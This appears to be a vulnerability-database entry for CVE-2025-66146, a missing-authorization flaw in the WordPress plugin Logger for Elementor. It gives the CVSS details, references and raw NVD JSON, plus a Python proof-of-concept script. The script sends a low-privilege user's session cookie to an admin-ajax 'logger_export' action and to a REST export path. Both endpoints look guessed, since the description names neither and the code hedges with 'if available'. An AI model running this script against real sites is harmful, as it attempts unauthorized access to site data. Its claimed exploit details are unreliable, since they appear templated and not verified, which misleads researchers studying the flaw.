CVE-2025-66146

Description

Missing Authorization vulnerability in merkulove Logger for Elementor logger-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Logger for Elementor: from n/a through <= 1.0.9.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Logger for Elementor <= 1.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-66146 PoC - Logger for Elementor Authorization Bypass
# Affected: Logger for Elementor <= 1.0.9

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'

# Authenticated low-privilege user session
cookies = {
    'wordpress_test_cookie': 'WP+Cookie+check',
    'wordpress_logged_in_xxx': 'user_session_token'
}

# Exploit: Access admin-only log export functionality
payload = {
    'action': 'logger_export',
    'nonce': 'optional_if_exists'
}

print(f'[*] Targeting: {target}')
print('[*] Exploiting Missing Authorization in Logger for Elementor...')

# Method 1: Via admin-ajax.php
url1 = f'{target}/wp-admin/admin-ajax.php'
response1 = requests.post(url1, data=payload, cookies=cookies)
print(f'[+] Response from admin-ajax: {response1.status_code}')
print(response1.text[:500])

# Method 2: Via REST API if available
url2 = f'{target}/wp-json/logger/v1/export'
response2 = requests.get(url2, cookies=cookies)
print(f'[+] Response from REST API: {response2.status_code}')
print(response2.text[:500])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66146
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66146
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66146/
[4] VulDB https://vuldb.com/cve/CVE-2025-66146
[5] https://patchstack.com/database/Wordpress/Plugin/logger-elementor/vulnerability/wordpress-logger-for-elementor-plugin-1-0-9-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66146", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:43.350", "lastModified": "2026-04-23T15:35:27.663", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Logger for Elementor logger-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Logger for Elementor: from n/a through <= 1.0.9."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Logger para Elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Logger para Elementor: desde n/a hasta 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/logger-elementor/vulnerability/wordpress-logger-for-elementor-plugin-1-0-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}